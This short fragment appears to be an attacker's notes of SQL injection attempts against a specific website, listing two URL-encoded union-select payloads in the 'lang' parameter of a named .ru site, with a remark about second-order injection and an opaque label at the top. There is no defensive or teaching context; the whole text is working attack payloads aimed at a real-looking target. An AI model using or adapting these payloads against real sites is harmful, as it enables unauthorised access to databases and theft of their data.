pr4 тиц90

http://www.leohao.ru/main.php?lang=en%27%20and%200%20union%20select%201 ,2,3,4,'5',6,7,8,9%23

http://www.leohao.ru/main.php?lang=en%27%20and%200%20union%20select%201 ,2,3,4,0x27,6,7,8,9%23 -> 2-d order inj.